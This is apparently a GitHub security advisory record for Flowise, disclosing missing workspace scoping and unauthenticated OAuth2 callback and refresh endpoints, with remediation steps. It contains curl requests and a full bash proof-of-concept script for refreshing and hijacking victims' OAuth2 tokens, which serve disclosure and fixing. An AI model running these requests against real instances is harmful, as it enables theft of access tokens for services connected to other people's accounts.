{"id":"GHSA-wch5-xp77-fxg4","summary":"Flowise: Cross-Workspace OAuth2 Credential Metadata Leak","details":"## Summary\n\nThree OAuth2 credential endpoints look up credentials by `id` alone with no `workspaceId` filter. Two of these endpoints (`callback`, `refresh`) are whitelisted from all authentication. This allows:\n\n1. **Cross-workspace credential access** — Any authenticated user can initiate OAuth2 flows against credentials belonging to other workspaces.\n2. **Unauthenticated token injection** — An unauthenticated attacker can forge OAuth2 callbacks to overwrite tokens in any credential.\n3. **Unauthenticated token refresh** — An unauthenticated attacker can refresh tokens for any credential.\n\n---\n\n## Root Cause\n\n### Vulnerable code: no workspace scoping\n\nAll three OAuth2 handlers query the `Credential` table by `id` only:\n\n**`packages/server/src/routes/oauth2/index.ts:80-82`** (authorize)\n```typescript\nconst credential = await credentialRepository.findOneBy({\n    id: credentialId\n    // Missing: workspaceId filter\n})\n```\n\n**`packages/server/src/routes/oauth2/index.ts:183-185`** (callback)\n```typescript\nconst credential = await credentialRepository.findOneBy({\n    id: state as string\n    // Missing: workspaceId filter\n})\n```\n\n**`packages/server/src/routes/oauth2/index.ts:314-316`** (refresh)\n```typescript\nconst credential = await credentialRepository.findOneBy({\n    id: credentialId\n    // Missing: workspaceId filter\n})\n```\n\n### Correct pattern (same codebase)\n\nThe standard credential service correctly enforces workspace isolation:\n\n**`packages/server/src/services/credentials/index.ts:130-132`**\n```typescript\nconst credential = await appServer.AppDataSource.getRepository(Credential).findOneBy({\n    id: credentialId,\n    workspaceId: workspaceId  // \u003c-- Workspace scoping present\n})\n```\n\n### Authentication bypass via whitelist\n\n**`packages/server/src/utils/constants.ts:40-41`**\n```typescript\nexport const WHITELIST_URLS = [\n    // ...\n    '/api/v1/oauth2-credential/callback',   // line 40\n    '/api/v1/oauth2-credential/refresh',     // line 41\n    // ...\n]\n```\n\n**`packages/server/src/index.ts:223-225`** — prefix-matched whitelist skips all auth:\n```typescript\nconst isWhitelisted = whitelistURLs.some((url) =\u003e req.path.startsWith(url))\nif (isWhitelisted) {\n    next()  // No JWT verification, no API key check\n}\n```\n\n---\n\n## Attack Scenarios\n\n### Scenario A: Cross-Workspace Credential Metadata Leak\n\nAn authenticated user in Workspace A initiates an OAuth2 authorize flow for a credential belonging to Workspace B. The server returns an authorization URL containing the victim credential's `client_id`, `scope`, and `redirect_uri`.\n\n```\nPOST /api/v1/oauth2-credential/authorize/\u003cVICTIM_CREDENTIAL_UUID\u003e\nCookie: connect.sid=\u003cATTACKER_SESSION\u003e\n```\n\n**Response:**\n```json\n{\n  \"success\": true,\n  \"credentialId\": \"\u003cVICTIM_CREDENTIAL_UUID\u003e\",\n  \"authorizationUrl\": \"https://provider.com/oauth2/authorize?client_id=LEAKED_CLIENT_ID&scope=LEAKED_SCOPE&...\",\n  \"redirectUri\": \"https://flowise-instance/api/v1/oauth2-credential/callback\"\n}\n```\n\n### Scenario B: Unauthenticated Token Injection via Forged Callback\n\nThe callback endpoint requires no authentication and uses the `state` parameter as the credential lookup key. An attacker who controls an OAuth2 provider (or MitMs the flow) can inject arbitrary tokens into any credential.\n\n```\nGET /api/v1/oauth2-credential/callback?code=ATTACKER_AUTH_CODE&state=\u003cVICTIM_CREDENTIAL_UUID\u003e\n(No authentication required)\n```\n\nThe server exchanges the code at the credential's `accessTokenUrl`, and whatever tokens the provider returns are encrypted and stored into the victim's credential record (line 271):\n\n```typescript\nawait credentialRepository.update(credential.id, {\n    encryptedData,      // Contains attacker-controlled token data\n    updatedDate: new Date()\n})\n```\n\n### Scenario C: Unauthenticated Token Refresh\n\nAn attacker can refresh any credential's OAuth2 tokens without authentication. The server reads the stored `refresh_token`, exchanges it at the `accessTokenUrl`, and returns fresh token metadata.\n\n```\nPOST /api/v1/oauth2-credential/refresh/\u003cVICTIM_CREDENTIAL_UUID\u003e\n(No authentication required)\n```\n\n**Response:**\n```json\n{\n  \"success\": true,\n  \"credentialId\": \"\u003cVICTIM_CREDENTIAL_UUID\u003e\",\n  \"tokenInfo\": {\n    \"access_token\": \"new-access-token-value\",\n    \"token_type\": \"Bearer\",\n    \"expires_in\": 3600,\n    \"has_new_refresh_token\": false,\n    \"expires_at\": \"2026-04-13T12:00:00.000Z\"\n  }\n}\n```\n\nThe fresh `access_token` is returned directly in the response body (line 393-401), giving the attacker a valid OAuth2 token for whatever service the victim credential is connected to.\n\n---\n\n## Proof of Concept\n\n### Prerequisites\n\n- A running Flowise instance with at least two workspaces (Workspace A and Workspace B)\n- An OAuth2 credential configured in Workspace B (the victim)\n- The credential UUID of the victim credential (obtainable by any member of Workspace B, or via IDOR — see Finding 4)\n\n### Step 1 — Confirm unauthenticated refresh endpoint is reachable\n\n```bash\n# No cookies, no Bearer token — completely unauthenticated\nFLOWISE_URL=\"https://TARGET_INSTANCE\"\nVICTIM_CRED_ID=\"xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx\"\n\ncurl -s -X POST \"${FLOWISE_URL}/api/v1/oauth2-credential/refresh/${VICTIM_CRED_ID}\" \\\n  -H \"Content-Type: application/json\"\n```\n\n**Expected result if credential exists and has a refresh token:**\n```json\n{\n  \"success\": true,\n  \"message\": \"OAuth2 token refreshed successfully\",\n  \"credentialId\": \"xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx\",\n  \"tokenInfo\": {\n    \"access_token\": \"\u003cVALID_ACCESS_TOKEN\u003e\",\n    \"token_type\": \"Bearer\",\n    \"expires_in\": 3600,\n    \"has_new_refresh_token\": false,\n    \"expires_at\": \"2026-04-13T...\"\n  }\n}\n```\n\n**Expected result if credential not found:**\n```json\n{\n  \"success\": false,\n  \"message\": \"Credential not found\"\n}\n```\n\n### Step 2 — Cross-workspace authorize (requires any valid session)\n\n```bash\n# Attacker is authenticated in Workspace A\n# They target a credential UUID from Workspace B\nATTACKER_COOKIE=\"connect.sid=s%3A...\"\n\ncurl -s -X POST \"${FLOWISE_URL}/api/v1/oauth2-credential/authorize/${VICTIM_CRED_ID}\" \\\n  -H \"Cookie: ${ATTACKER_COOKIE}\" \\\n  -H \"Content-Type: application/json\"\n```\n\n**Expected result — victim credential's OAuth2 config is leaked:**\n```json\n{\n  \"success\": true,\n  \"credentialId\": \"xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx\",\n  \"authorizationUrl\": \"https://login.microsoftonline.com/.../authorize?client_id=VICTIM_CLIENT_ID&scope=VICTIM_SCOPES&...\",\n  \"redirectUri\": \"https://TARGET_INSTANCE/api/v1/oauth2-credential/callback\"\n}\n```\n\n### Step 3 — Forge callback to inject attacker-controlled tokens\n\n```bash\n# Attacker sets up a rogue OAuth2 provider that returns crafted tokens,\n# OR intercepts a legitimate flow.\n# The state parameter is the victim credential UUID.\n\ncurl -s \"${FLOWISE_URL}/api/v1/oauth2-credential/callback?code=ATTACKER_CODE&state=${VICTIM_CRED_ID}\"\n```\n\nThe server POSTs the `code` to the credential's `accessTokenUrl`. If the attacker controls the OAuth2 provider (or has a valid code), the returned tokens are written into the victim's credential.\n\n### Full automated PoC script\n\n```bash\n#!/usr/bin/env bash\nset -euo pipefail\n\n# ---- Configuration ----\nFLOWISE_URL=\"${1:?Usage: $0 \u003cflowise_url\u003e \u003cvictim_credential_uuid\u003e [attacker_cookie]}\"\nVICTIM_CRED_ID=\"${2:?Usage: $0 \u003cflowise_url\u003e \u003cvictim_credential_uuid\u003e [attacker_cookie]}\"\nATTACKER_COOKIE=\"${3:-}\"\n\necho \"=== OAuth2 Cross-Workspace Credential Hijacking PoC ===\"\necho \"Target:     ${FLOWISE_URL}\"\necho \"Credential: ${VICTIM_CRED_ID}\"\necho \"\"\n\n# --- Attack Vector 1: Unauthenticated token refresh ---\necho \"[1] Attempting unauthenticated token refresh...\"\nREFRESH_RESP=$(curl -s -w \"\\n%{http_code}\" -X POST \\\n  \"${FLOWISE_URL}/api/v1/oauth2-credential/refresh/${VICTIM_CRED_ID}\" \\\n  -H \"Content-Type: application/json\")\n\nHTTP_CODE=$(echo \"${REFRESH_RESP}\" | tail -1)\nBODY=$(echo \"${REFRESH_RESP}\" | head -n -1)\n\nif [ \"${HTTP_CODE}\" = \"200\" ]; then\n  echo \"[!] VULNERABLE — Unauthenticated token refresh succeeded\"\n  echo \"    Response: ${BODY}\" | head -c 500\n  echo \"\"\nelif echo \"${BODY}\" | grep -q \"Credential not found\"; then\n  echo \"[*] Credential not found (UUID may be invalid)\"\nelif echo \"${BODY}\" | grep -q \"Missing required\"; then\n  echo \"[*] Credential exists but has no refresh_token (no prior OAuth2 flow)\"\n  echo \"    This still confirms the endpoint is reachable without auth\"\nelse\n  echo \"[*] HTTP ${HTTP_CODE}: ${BODY}\" | head -c 300\nfi\necho \"\"\n\n# --- Attack Vector 2: Cross-workspace authorize (needs session) ---\nif [ -n \"${ATTACKER_COOKIE}\" ]; then\n  echo \"[2] Attempting cross-workspace authorize...\"\n  AUTH_RESP=$(curl -s -w \"\\n%{http_code}\" -X POST \\\n    \"${FLOWISE_URL}/api/v1/oauth2-credential/authorize/${VICTIM_CRED_ID}\" \\\n    -H \"Cookie: ${ATTACKER_COOKIE}\" \\\n    -H \"Content-Type: application/json\")\n\n  HTTP_CODE=$(echo \"${AUTH_RESP}\" | tail -1)\n  BODY=$(echo \"${AUTH_RESP}\" | head -n -1)\n\n  if [ \"${HTTP_CODE}\" = \"200\" ]; then\n    echo \"[!] VULNERABLE — Cross-workspace credential access confirmed\"\n    echo \"    Leaked authorization URL:\"\n    echo \"${BODY}\" | python3 -m json.tool 2\u003e/dev/null || echo \"    ${BODY}\" | head -c 500\n  else\n    echo \"[*] HTTP ${HTTP_CODE}: ${BODY}\" | head -c 300\n  fi\nelse\n  echo \"[2] Skipped cross-workspace authorize (no attacker cookie provided)\"\nfi\necho \"\"\n\n# --- Attack Vector 3: Confirm callback is unauthenticated ---\necho \"[3] Confirming callback endpoint is unauthenticated...\"\nCALLBACK_RESP=$(curl -s -w \"\\n%{http_code}\" \\\n  \"${FLOWISE_URL}/api/v1/oauth2-credential/callback?code=poc_test_code&state=${VICTIM_CRED_ID}\")\n\nHTTP_CODE=$(echo \"${CALLBACK_RESP}\" | tail -1)\n\n# Any response other than 401/403 confirms the endpoint is reachable without auth.\n# A 400 with \"token_exchange_failed\" means the endpoint processed the request\n# (tried to exchange the code) — it just failed at the external provider.\nif [ \"${HTTP_CODE}\" = \"401\" ] || [ \"${HTTP_CODE}\" = \"403\" ]; then\n  echo \"[*] Callback endpoint returned ${HTTP_CODE} — auth is enforced (NOT vulnerable)\"\nelse\n  echo \"[!] VULNERABLE — Callback endpoint reachable without auth (HTTP ${HTTP_CODE})\"\n  echo \"    The server attempted to process the OAuth2 callback.\"\n  echo \"    With a valid authorization code, tokens would be written to the credential.\"\nfi\n\necho \"\"\necho \"=== PoC Complete ===\"\n```\n\n---\n\n## Impact\n\n| Vector | Auth Required | Impact |\n|--------|--------------|--------|\n| Credential metadata leak via `/authorize` | Low (any session) | Exposes `client_id`, `scope`, `redirect_uri` from any workspace's credential |\n| Token injection via `/callback` | None | Overwrite any credential's stored OAuth2 tokens with attacker-controlled values |\n| Token theft via `/refresh` | None | Obtain a fresh `access_token` for any credential's connected service (Microsoft 365, Google, etc.) |\n\n**Chained impact:** An attacker who obtains a single credential UUID (via IDOR, log exposure, or brute-force of UUIDs) can silently refresh and steal OAuth2 access tokens for external services like Microsoft Graph, Google Workspace, or any custom OAuth2 provider — without any authentication to the Flowise instance.\n\n---\n\n## Affected Components\n\n| File | Lines | Issue |\n|------|-------|-------|\n| `packages/server/src/routes/oauth2/index.ts` | 80-82 | `findOneBy({ id })` — no `workspaceId` |\n| `packages/server/src/routes/oauth2/index.ts` | 183-185 | `findOneBy({ id: state })` — no `workspaceId` |\n| `packages/server/src/routes/oauth2/index.ts` | 314-316 | `findOneBy({ id })` — no `workspaceId` |\n| `packages/server/src/utils/constants.ts` | 40 | `/callback` whitelisted from auth |\n| `packages/server/src/utils/constants.ts` | 41 | `/refresh` whitelisted from auth |\n\n---\n\n## Remediation\n\n1. **Add `workspaceId` to all credential lookups** in the OAuth2 routes, matching the pattern already used in `services/credentials/index.ts:130-132`:\n\n```typescript\n// Before (vulnerable)\nconst credential = await credentialRepository.findOneBy({ id: credentialId })\n\n// After (fixed)\nconst credential = await credentialRepository.findOneBy({\n    id: credentialId,\n    workspaceId: req.user?.activeWorkspaceId\n})\n```\n\n2. **Remove `/callback` and `/refresh` from `WHITELIST_URLS`** or implement a signed, time-limited state token that authenticates the callback without a session.\n\n3. **Replace the `state` parameter** with a cryptographically random nonce bound to the user's session (see also Finding 8).\n\n4. **Do not return `access_token` in the `/refresh` response body.** The token should only be stored server-side in the encrypted credential data, never sent to the caller.\n\n---","aliases":["CVE-2026-70474"],"modified":"2026-08-04T18:26:41.757511Z","published":"2026-08-04T18:01:29Z","database_specific":{"github_reviewed":true,"github_reviewed_at":"2026-08-04T18:01:29Z","nvd_published_at":null,"cwe_ids":["CWE-863"],"severity":"HIGH"},"references":[{"type":"WEB","url":"https://github.com/FlowiseAI/Flowise/security/advisories/GHSA-wch5-xp77-fxg4"},{"type":"PACKAGE","url":"https://github.com/FlowiseAI/Flowise"},{"type":"WEB","url":"https://github.com/FlowiseAI/Flowise/releases/tag/flowise@3.1.3"}],"affected":[{"package":{"name":"flowise","ecosystem":"npm","purl":"pkg:npm/flowise"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"3.1.3"}]}],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/08/GHSA-wch5-xp77-fxg4/GHSA-wch5-xp77-fxg4.json","last_known_affected_version_range":"\u003c= 3.1.2"}}],"schema_version":"1.9.0","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N"}]}